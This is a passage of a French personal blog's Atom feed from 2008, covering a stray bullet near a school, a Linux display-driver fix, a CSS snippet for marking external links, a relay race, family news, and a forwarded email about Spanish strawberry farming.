&lt;p&gt;Ce matin (Mardi), des étudiants ont trouvé une douille sur le trottoir d&amp;rsquo;en face et il semblerait que ce soit le bâtiment d&amp;rsquo;à côté qui ait été visé. Ce bâtiment abritent des avocats. &lt;em&gt;Hum hum&lt;/em&gt;. Quels genres de dossiers défendent-ils ?&lt;/p&gt;
&lt;p&gt;Voilà pour la petite aventure de ce début de semaine. Même certains de mes collègues Bruxellois n&amp;rsquo;ont jamais été aussi près d&amp;rsquo;un… c&amp;rsquo;est dire quelles aventures nous vivons au travail. Sur ce je retourne tapoter mon clavier et souffrir de ma tendinite.&lt;/p&gt;
&lt;p&gt;Ce Mercredi 16 oct 2008, la police scientifique a débarqué lors de mon cours d&amp;rsquo;ateliers logiciels afin que l&amp;rsquo;expert en balistique détermine la provenance de la balle. Ils ont pris des photos et apposé un petit autocollant sur la vitre. &lt;/p&gt;</content></entry><entry><title>Des seins et des cartes postales</title><link href="http://blog.namok.be/2008-10-02-211-des-seins-et-des-cartes-postales.html" rel="alternate"/><published>2008-10-02T00:00:00+02:00</published><updated>2008-10-02T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2008-10-02:/2008-10-02-211-des-seins-et-des-cartes-postales.html</id><summary type="html">Des seins et des cartes postales</summary><content type="html">&lt;p&gt;Bon ben j&amp;rsquo;y crois pas, quand j&amp;rsquo;ai lu &lt;a href="http://sexes.blogs.liberation.fr/agnes_giard/2008/09/photos-de-seins.html#"&gt;cet article d&amp;rsquo;Agnes Giard sur son blog Libération, « Les 400 culs »&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Il semblerait donc qu&amp;rsquo;il soit interdit d&amp;rsquo;envoyer des cartes postales porteuses d&amp;rsquo;une paire de seins. Il semblerait que les postiers — ceux que je croise ou connait en sont pourtant friands — aient été choqués et ont porté plainte. L&amp;rsquo;artiste responsable — car l&amp;rsquo;envoi des cartes postales était destiné à la participation à un concours de mail-art — est passible d&amp;rsquo;une peine de prison et d&amp;rsquo;une amende.&lt;/p&gt;
&lt;p&gt;Je cite,&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Philippe Pissier apprend qu’il est passible de trois ans d’emprisonnement et de 175 000 euros d’amende, en vertu de l’article 227-24 du code pénal. Motif : trouble à l’ordre public et mise en danger du psychisme des enfants par une oeuvre pornographique.
&lt;br/&gt;
Extrait de 400 culs.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Quand je pense que j&amp;rsquo;ai envoyé une carte postale pour souhaiter un heureux anniversaire à Maïa. Bien que la carte postale n&amp;rsquo;était qu&amp;rsquo;un dessin de Dubuc et Delaf, heureusement que les seins étaient recouverts sinon je ne sais pas à quoi je me serais exposé !&lt;/p&gt;
&lt;p&gt;Soyons donc prudent dans un monde qui devient à la fois de plus en plus cul (regardez les pubs et la télé après 23h00) et de plus en plus puritain en même temps.&lt;/p&gt;</content></entry><entry><title>T'as pas une chique ?</title><link href="http://blog.namok.be/2008-10-01-210-t-as-pas-une-chique.html" rel="alternate"/><published>2008-10-01T00:00:00+02:00</published><updated>2008-10-01T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2008-10-01:/2008-10-01-210-t-as-pas-une-chique.html</id><summary type="html">Pub culte sur la Belgique et son vocabulaire</summary><content type="html">&lt;p&gt;Quand j&amp;rsquo;aime pas je le dis, mais quand c&amp;rsquo;est simplement drôle, je partage…&lt;/p&gt;
&lt;div class="iframe-container"&gt;
&lt;iframe src="https://www.youtube-nocookie.com/embed/1nQhyA0Ao14?si=crgBgqKQ0x4BOAly" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen&gt;&lt;/iframe&gt;
&lt;/div&gt;

&lt;p&gt;&lt;a href="https://www.youtube.com/watch?v=1nQhyA0Ao14"&gt;Lien Youtube&lt;/a&gt;&lt;/p&gt;</content></entry><entry><title>Les 24h ont (failli) avoir raison de nous</title><link href="http://blog.namok.be/2008-09-27-209-les-24h-ont-failli-avoir-raison-de-nous.html" rel="alternate"/><published>2008-09-27T00:00:00+02:00</published><updated>2008-09-27T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2008-09-27:/2008-09-27-209-les-24h-ont-failli-avoir-raison-de-nous.html</id><summary type="html">Les 24h ont (failli) avoir raison de nous</summary><content type="html">&lt;p&gt;Le week-end passé, se sont déroulées les 24h allure libre de Ath, soit 24 où l&amp;rsquo;on court par équipe de 4 à 8 personnes. En fait les vrais 24h se courent à 4 et les autres — dont nous &amp;rdquo; par équipe de 5 à 8.&lt;/p&gt;
&lt;p&gt;Lors de la dernière édition, nous étions (un peu) entrainés mais cette fois nous nous sommes tous laissés un peu aller. Résultat des courses — et de notre grand âge — nous avons essuyé quelques blessures &amp;hellip;&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ai participé aux 24h avec les pompiers et la première difficulté fut de trouver 8 participants parmi les 75 pompiers de la caserne ;-) Nous avons donc repris les même que la dernière fois en y ajoutant l&amp;rsquo;équipe des « femmes de pompiers » réduite à deux candidates. Donc John, Thibaut, Jeremy, Cédric, André, Sandrine, Marie et moi.&lt;/p&gt;
&lt;p&gt;Avant les 24h André s&amp;rsquo;était proposé pour tourner deux tours et pas plus car il s&amp;rsquo;occupe de l&amp;rsquo;organisation et est très très pris.&lt;/p&gt;
&lt;p&gt;Au départ des 24h, nous comptons sur Cédric qui n&amp;rsquo;arrive pas. Il nous signale qu&amp;rsquo;il viendra plus tard… mais nous l&amp;rsquo;attendons toujours. Pour nous ça signifie qu&amp;rsquo;il faudra faire quelques (5,6) tours en plus :-( Pour info, les tours font de l&amp;rsquo;ordre de 7km pendant 18h et les dernières 6h voient venir les « petits tours » de 1.5km.&lt;/p&gt;
&lt;p&gt;Nous avons fait nos premiers tours en plus ou moins 45&amp;rsquo;. Jusque là tout va bien même si le premier a terminé son tour en 22&amp;rsquo; (ok, on ne joue pas dans la même cour) et c&amp;rsquo;est là nuit que ça s&amp;rsquo;est gâté. Pourtant nous savons que c&amp;rsquo;est un moment difficile… avec nos corps d&amp;rsquo;athlètes ^^ La nuit a donc vu venir les petits bobos&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;mon genou m&amp;rsquo;a (un peu) lâché pendant deux tours que j&amp;rsquo;ai du marcher (on les repère bien sur le chrono),&lt;/li&gt;
&lt;li&gt;Sandrine a eu un soucis à la plante des pieds et a du arrêter, elle a repris un peu aux petits tours,&lt;/li&gt;
&lt;li&gt;Jeremy c&amp;rsquo;est coincé le nerf sciatique, c&amp;rsquo;est comme ça qu&amp;rsquo;il a découvert qu&amp;rsquo;il en avait un,&lt;/li&gt;
&lt;li&gt;John couvait une rage de dents qui s&amp;rsquo;est déclarée pendant la nuit avec un passage par les urgences et deux perfusions vers 3h du matin,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Bref, au petit matin, c&amp;rsquo;était la Bérézina mais Marie a redonné le moral bien qu&amp;rsquo;elle était physiquement fatiguée et on a continué jusqu&amp;rsquo;au bout… pour finalement ne pas être moins bien classé que la dernière fois.&lt;/p&gt;
&lt;p&gt;Soulignons la présence en force de l&amp;rsquo;école d&amp;rsquo;Irchonwelz (ITCF René Geoffroy) qui a aligné 10 équipes qui se sont bien défendues, la participation d&amp;rsquo;un étudiant de l&amp;rsquo;ÉSI et la participation de mon copain « Thieu » dans son équipe &amp;ldquo;Les vizins du mont Sarah arrivés deuxième dans « les vrais ». Pour ça il faut tourner tout le temps à 35&amp;rsquo; le tour. C&amp;rsquo;est pas pour moi.&lt;/p&gt;</content></entry><entry><title>Fonction keys, Fn CRT/LCD</title><link href="http://blog.namok.be/2008-09-18-207-fonction-keys-fn-crt-lcd.html" rel="alternate"/><published>2008-09-18T00:00:00+02:00</published><updated>2008-09-18T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2008-09-18:/2008-09-18-207-fonction-keys-fn-crt-lcd.html</id><summary type="html">Touches de contrôles pour allumer ou éteindre l'écran</summary><content type="html">&lt;p&gt;Parfois la vie est belle… parfois pas.&lt;/p&gt;
&lt;p&gt;Hier, premier cours d&amp;rsquo;administration et gestion des réseaux en 3&lt;up&gt;ième&lt;/up&gt;, j&amp;rsquo;arrive, je branche le projecteur et j&amp;rsquo;appuie sur la combinaison magique &lt;code&gt;[Fn F8]&lt;/code&gt; afin d&amp;rsquo;envoyer l&amp;rsquo;image à la fois sur mon écran et sur celui du projecteur.J&amp;rsquo;ai fais ça mille fois avec mon HP mais jamais encore avec mon nouveau Dell Vostro. Et damned ! La magie n&amp;rsquo;apparait pas :-(&lt;/p&gt;
&lt;p&gt;Je me résous à projeter mes slides via la machine MS Windows installée là (comme dans tous nos locaux)… et je me retiens de ne pas pleurer ;-)&lt;/p&gt;
&lt;p&gt;Arrivé à la maison, il faut que ça fonctionne, je passe des heures — toute la soirée — sur des forums à lire que pas mal de gens ont le même problème… alors, la faute à qui ? Dell, Nvidia, Linux, Debian…&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Petite parenthèse&lt;/em&gt;, j&amp;rsquo;ai lu dans un forum que Debian c&amp;rsquo;est pour les « gens qui savent » car leur site n&amp;rsquo;est pas convivial. Faux ! &lt;em&gt;Fin de la parenthèse.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;essaie donc de basculer l&amp;rsquo;écran lors du &lt;em&gt;boot&lt;/em&gt; de la machine (je n&amp;rsquo;y ai pas pensé tout de suite) et ça fonctionne. Ce n&amp;rsquo;est donc pas la faute à Dell. J&amp;rsquo;essaie en lançant X ou bien sans lancer X, j&amp;rsquo;essaie Xinerama, Que nenni ! Bref, je vais dormir en pleurant et maudissant Nvidia sur qui je rejette la faute puisque j&amp;rsquo;utilise leur driver propriétaire.&lt;/p&gt;
&lt;p&gt;Je me couche, la vie n&amp;rsquo;est pas belle.&lt;/p&gt;
&lt;p&gt;Ce matin — je passe les détails de conduite des enfants (il n&amp;rsquo;y en a qu&amp;rsquo;une ce matin) à l&amp;rsquo;école — et je télécharge le nouveau driver Nvidia. J&amp;rsquo;utilisais &lt;code&gt;NVIDIA-Linux-x86-173.08-pkg1.run&lt;/code&gt; qui fonctionne bien pour ce que j&amp;rsquo;en fais et télécharge &lt;code&gt;NVIDIA-Linux-x86-173.14.12-pkg1.run&lt;/code&gt; sans grand espoir MAIS je relance X, j&amp;rsquo;appuie sur la &lt;em&gt;function key&lt;/em&gt; magique et ça fonctionne.&lt;/p&gt;
&lt;p&gt;La vie est belle.&lt;/p&gt;
&lt;p&gt;Pour conclure, on perd du temps et « ça fonctionne / ça fonctionne pas » tient à peu de choses. Je peux aller donner cours demain, je n&amp;rsquo;aurai ps l&amp;rsquo;air (trop) ridicule devant mes étudiants lorsque je dirai que j&amp;rsquo;utilise Linux puisque ça fonctionne.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Pour Marie-No. C&amp;rsquo;est typiquement le genre de post que tu ne dois pas lire, pour les autres, j&amp;rsquo;espère que ça peut en dépanner l&amp;rsquo;un ou l&amp;rsquo;autre.&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Sam</title><link href="http://blog.namok.be/2008-08-18-sam.html" rel="alternate"/><published>2008-08-18T00:00:00+02:00</published><updated>2008-08-18T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2008-08-18:/2008-08-18-sam.html</id><summary type="html">Sam</summary><content type="html">&lt;p&gt;&lt;img alt="Sam bébé" src="/images/sam.jpg" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;Lundi matin vers l&amp;rsquo;heure de l&amp;rsquo;apéro, &lt;strong&gt;Sam&lt;/strong&gt; est né.&lt;br&gt;
Vive &lt;strong&gt;Sam&lt;/strong&gt; !&lt;/p&gt;
&lt;p&gt;Toutes infos et détails sur la &lt;a href="//sam.namok.be/"&gt;page de Sam&lt;/a&gt;. La page est mise à jour régulièrement.&lt;/p&gt;</content></entry><entry><title>Différenciation des liens externes et internes</title><link href="http://blog.namok.be/2008-08-16-differenciation-des-liens-externes-et-internes.html" rel="alternate"/><published>2008-08-16T00:00:00+02:00</published><updated>2008-08-16T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2008-08-16:/2008-08-16-differenciation-des-liens-externes-et-internes.html</id><summary type="html">Comment ajouter en CSS une image dès lors qu'il s'agit d'un lien externe au site.</summary><content type="html">&lt;p&gt;Aujourd&amp;rsquo;hui — c&amp;rsquo;est dans la bonne pratique du jour chez Opquast — il est bien de différencier un lien interne au site d&amp;rsquo;un lien externe. Ainsi l&amp;rsquo;utilisateur sait quand il va quitter le site.&lt;/p&gt;
&lt;p&gt;Personnellement, je veux différencier les deux liens mais je ne désire pas ouvrir les liens externes dans une autre page. Pas d&amp;rsquo;utilisation de &lt;code&gt;target=_blank&lt;/code&gt; donc. Je veux laisser à l&amp;rsquo;utilisateur le choix d&amp;rsquo;ouvrir « ses » liens où il veut. On veut donc simplement obtenir un résultat du style&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="//wikipedia.org"&gt;lien externe&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="2008-08-16-differenciation-des-liens-externes-et-internes.html"&gt;lien interne&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;J&amp;rsquo;ajoute ces quelques lignes dans ma feuille de style,&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;#&lt;/span&gt;&lt;span class="nn"&gt;content&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;a&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;href&lt;/span&gt;&lt;span class="o"&gt;^=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;//&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;background&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;transparent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;url&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;aoutside.gif&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;right&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;center&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;no-repeat&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;padding-right&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="kt"&gt;px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="p"&gt;#&lt;/span&gt;&lt;span class="nn"&gt;content&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;a&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;href&lt;/span&gt;&lt;span class="o"&gt;^=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;//blog.namok.be&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;background&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;inherit&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;padding-right&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="kt"&gt;px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="p"&gt;#&lt;/span&gt;&lt;span class="nn"&gt;content&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;img&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;margin-right&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;-10&lt;/span&gt;&lt;span class="kt"&gt;px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;vertical-align&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;bottom&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Pour les sources, j&amp;rsquo;ai lu ça chez &lt;a href="https://open-time.net/post/2006/12/07/810-differencier-les-liens-internes-des-liens-externes"&gt;Franck Paul&lt;/a&gt; pour la base et l&amp;rsquo;image utilisée et chez Nealo pour la suppression du petit symbole dans les « liens images&amp;rdquo; ».&lt;/p&gt;
&lt;p&gt;Et hop ! Une bonne pratique supplémentaire mise en œuvre sur le blog et sur le site de l&amp;rsquo;école.&lt;/p&gt;</content></entry><entry><title>Fête d'anniversaire (37)</title><link href="http://blog.namok.be/2008-08-11-202-fete-d-anniversaire.html" rel="alternate"/><published>2008-08-11T00:00:00+02:00</published><updated>2008-08-11T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2008-08-11:/2008-08-11-202-fete-d-anniversaire.html</id><summary type="html">Fête d'anniversaire (37)</summary><content type="html">&lt;p&gt;Ce Jeudi, c&amp;rsquo;est mon anniversaire. Au programme pain saucisse et pils à la maison… sauf si bébé décide de pointer le bout de son nez. Auquel cas, je le ferai savoir ici.&lt;/p&gt;
&lt;p&gt;(Màj Vendredi 16)&lt;/p&gt;
&lt;p&gt;&lt;img alt="La fête" src="/images/annifGroupe2.jpg" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Image de L&amp;rsquo;an dernier&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Màj, Jeudi 14:47&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;La tonnelle est montée, les pils sont au frais, il peut pleuvoir &amp;hellip; par contre, Chloé n&amp;rsquo;a plus intérêt à accoucher maintenant ;-)&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Màj, Vendredi 11:55&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Voilà, c&amp;rsquo;est fait, ils sont venus, ils ont bu, on a fêté et il a plu. Pour ne pas déroger à la règle il a fallu que l&amp;rsquo;on se serre sous la tonnelle.
Merci à tout ceux qui ont pu venir et dommage pour les autres.&lt;/p&gt;</content></entry><entry><title>Be Linux</title><link href="http://blog.namok.be/2008-08-02-be-linux.html" rel="alternate"/><published>2008-08-02T00:00:00+02:00</published><updated>2008-08-02T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2008-08-02:/2008-08-02-be-linux.html</id><summary type="html">Pub pour Linux</summary><content type="html">&lt;p&gt;&lt;img alt="Des manchots qui volent" src="/images/pinguins-fly-15586958314_eabee7f9c4_o.jpg" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;Cette publicité est à diffuser partout. Elle est très belle, très calme et c&amp;rsquo;est pour un bon produit ;-)&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Imagine un monde où tout le monde peut voler.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div style="position:relative;padding-bottom:56.25%;height:0;overflow:hidden;"&gt; &lt;iframe style="width:100%;height:100%;position:absolute;left:0px;top:0px;overflow:hidden" frameborder="0" type="text/html" src="https://www.dailymotion.com/embed/video/xgq4yc?autoplay=1" width="100%" height="100%" allowfullscreen title="Dailymotion Video Player" allow="autoplay; web-share"&gt; &lt;/iframe&gt; &lt;/div&gt;

&lt;p&gt;&lt;a href="https://dai.ly/xgq4yc"&gt;Lien Dailymotion&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Celle-ci est une déviation d&amp;rsquo;un reportage de la BBC. Il en existe quelques autres. J&amp;rsquo;aime aussi celle-là qui parle de software evolution et cette autre (bien que le jeu de mot soit bien gros).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Est-ce pour la bonne cause ?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Jadis, j&amp;rsquo;aurais répondu oui sans mais aujourd&amp;rsquo;hui — avec l&amp;rsquo;expérience de l&amp;rsquo;âge — je laisse chacun faire ses choix … et les assumer ensuite. Fais ton informatique comme tu veux Je ne « force » ni n&amp;rsquo;insiste jamais (plus) pour que quelqu&amp;rsquo;un utilise Linux plutôt que Windows.&lt;/p&gt;
&lt;p&gt;Par ailleurs, je me réserve le choix de ne pas dépanner les utilisateurs Windows. Et ainsi, la vie est belle.&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo par &lt;a href="https://www.flickr.com/photos/cmichel67/15586958314/in/photolist-pKneEA-4DBTGx-dKCPKy-qYBuB4-rdun96-9Rr6Ex-wm7Swz-2jHWy8-WztS-wUaB4-uUDje-aocLrp-9xVzwy-4gpJPe-xFS5d-9LcJXi-4GLsYY-pNZ2dB-jhaHL-2jNeTb-9ZMjy9-9ZJncD-2bozhN-a3N5L2-aymbxV-aymgot-aypbMQ-aymvLT-aymf5i-ayoSDs-aymyEt-aym7hM-ayoWgh-aymeGH-aypi59-aym3fZ-aym4yH-aypdPh-aypaWA-aymjMi-aymqtK-aymdWZ-ayp9Nw-ayp3Ud-8Tz5D-8QTJ8s-7MJ3on-8gGVDA-gDKbCZ-x2G7PX"&gt;Christopher Michel chez Flickr&lt;/a&gt;. Une tentative de décollage …&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Mangez des fraises.</title><link href="http://blog.namok.be/2008-05-19-188-mangez-des-fraises.html" rel="alternate"/><published>2008-05-19T00:00:00+02:00</published><updated>2008-05-19T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2008-05-19:/2008-05-19-188-mangez-des-fraises.html</id><summary type="html">Fruits. Saisons. Écologie.</summary><content type="html">&lt;p&gt;&lt;img alt="Des fraises" src="/images/shutterstock_1666668379.jpg" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ai reçu ce mail, qui parle de fraises. Et hum, que c&amp;rsquo;est bon les fraises, c&amp;rsquo;est un de mes fruits préférés.&lt;/p&gt;
&lt;p&gt;Quand c&amp;rsquo;est l&amp;rsquo;été, la saison, on en mange tous les jours, avec une tartine au beurre, dans la glace, avec du yaourt ou simplement seules. Il est inutile de se bagarrer pour en cueillir, tout le monde est d&amp;rsquo;accord d&amp;rsquo;y aller… ça permet d&amp;rsquo;aller à maraude.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Déf. Marauder&lt;/strong&gt; : v.i. Voler des fruits, des légumes dans les jardins, dans les fermes. &lt;/p&gt;
&lt;p&gt;Ceci dit, je n&amp;rsquo;en n&amp;rsquo;achète jamais, le potager pourvoit. Je vous invite par contre, à vérifier la provenance des fraises que vous achetez si vous voulez être un peu écolo. Voici le mail que j&amp;rsquo;ai reçu (et que je vous livre, une fois n&amp;rsquo;est pas coutume).&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;D&amp;rsquo;ici à la mi-juin, la France aura importé d&amp;rsquo;Espagne plus de 83 000 tonnes de fraises. Enfin, si on peut appeler « fraises » ces gros trucs rouges, encore verts près de la queue car cueillis avant d&amp;rsquo;être mûrs, et ressemblant à des tomates. Avec d&amp;rsquo;ailleurs à peu près le goût des tomates.&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;Si le seul problème posé par ces fruits était leur fadeur, après tout, seuls les consommateurs piégés pourraient se plaindre d&amp;rsquo;avoir acheté un produit qui se brade actuellement entre deux et trois euros le kilo sur les marchés et dans les grandes surfaces, après avoir parcouru 1 500 km en camion. À dix tonnes en moyenne par véhicule, ils sont 16 000 par an à faire un parcours valant son pesant de fraises en CO2 et autres gaz d&amp;rsquo;échappement. Car la quasi-totalité de ces fruits poussent dans le sud de l&amp;rsquo;Andalousie, sur les limites du parc national de Doñana, près du delta du Guadalquivir, l&amp;rsquo;une des plus fabuleuses réserves d&amp;rsquo;oiseaux migrateurs et nicheurs d&amp;rsquo;Europe.&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;Il aura fallu qu&amp;rsquo;une équipe d&amp;rsquo;enquêteurs du WWF-France s&amp;rsquo;intéresse à la marée montante de cette fraise hors saison pour que soit révélée l&amp;rsquo;aberration écologique de cette production qui étouffe la fraise française (dont une partie, d&amp;rsquo;ailleurs, ne pousse pas dans de meilleures conditions écologiques).&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;Ce qu&amp;rsquo;ont découvert les envoyés spéciaux du WWF, et que confirment les écologistes espagnols, illustre la mondialisation bon marché. Cette agriculture couvre près de six mille hectares, dont une bonne centaine empiètent déjà en toute illégalité (tolérée) sur le parc national. Officiellement, 60% de ces cultures seulement sont autorisées; les autres sont des extensions « sauvages » sur lesquelles le pouvoir régional ferme les yeux en dépit des protestations des écologistes.&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;Les fraisiers destinés à cette production, bien qu&amp;rsquo;il s&amp;rsquo;agisse d&amp;rsquo;une plante vivace productive plusieurs années, sont détruits chaque année. Pour donner des fraises hors saison, les plants produits &lt;em&gt;in vitro&lt;/em&gt; sont placés en plein été dans des frigos qui simulent l&amp;rsquo;hiver, pour avancer leur production. À l&amp;rsquo;automne, la terre sableuse est nettoyée et stérilisée, et la microfaune détruite avec du bromure de méthyl et de la chloropicrine. Le premier est un poison violent interdit par le protocole de Montréal sur les gaz attaquant la couche d&amp;rsquo;ozone, signé en 1987 (dernier délai en 2005); le second, composé de chlore et d&amp;rsquo;ammoniaque, est aussi un poison dangereux: il bloque les alvéoles pulmonaires.&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;Qui s&amp;rsquo;en soucie ? &lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;La plupart des producteurs de fraises andalouses emploient une main-d&amp;rsquo;oeuvre marocaine, des saisonniers ou des sans-papiers sous-payés et logés dans des conditions précaires, qui se réchauffent le soir en brûlant les résidus des serres en plastique recouvrant les fraisiers au cœur de l&amp;rsquo;hiver. Un écologiste de la région raconte l&amp;rsquo;explosion de maladies pulmonaires et d&amp;rsquo;affections de la peau.&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;Les plants poussent sur un plastique noir et reçoivent une irrigation qui transporte des engrais, des pesticides et des fongicides. Les cultures sont alimentées en eau par des forages dont la moitié ont été installés de façon illégale. Ce qui transforme en savane sèche une partie de cette région d&amp;rsquo;Andalousie, entraîne l&amp;rsquo;exode des oiseaux migrateurs et la disparition des derniers lynx pardel, petits carnivores dont il ne reste plus qu&amp;rsquo;une trentaine dans la région, leur seule nourriture, les lapins, étant en voie de disparition. Comme la forêt, dont 2 000 hectares ont été rasés pour faire place aux fraisiers. La saison est terminée au début du mois de juin. Les cinq mille tonnes de plastique sont soit emportées par le vent, soit enfouies n&amp;rsquo;importe où, soit brûlées sur place.&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;Et les ouvriers agricoles sont priés de retourner chez eux ou de s&amp;rsquo;exiler ailleurs en Espagne. Remarquez: ils ont le droit de se faire soigner à leurs frais au cas ou les produits nocifs qu&amp;rsquo;ils ont respiré… La production et l&amp;rsquo;exportation de la fraise espagnole, l&amp;rsquo;essentiel étant vendu dès avant la fin de l&amp;rsquo;hiver et jusqu&amp;rsquo;en avril, représente ce qu&amp;rsquo;il y a de moins durable comme agriculture, et bouleverse ce qui demeure dans l&amp;rsquo;esprit du public comme notion de saison.&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;Quand la région sera ravagée et la production trop onéreuse, elle sera transférée au Maroc, où les industriels espagnols de la fraise commencent à s&amp;rsquo;installer. Avant de venir de Chine, d&amp;rsquo;où sont déjà importées des pommes encore plus traitées que les pommes françaises.&lt;/p&gt;
&lt;/blockquote&gt;
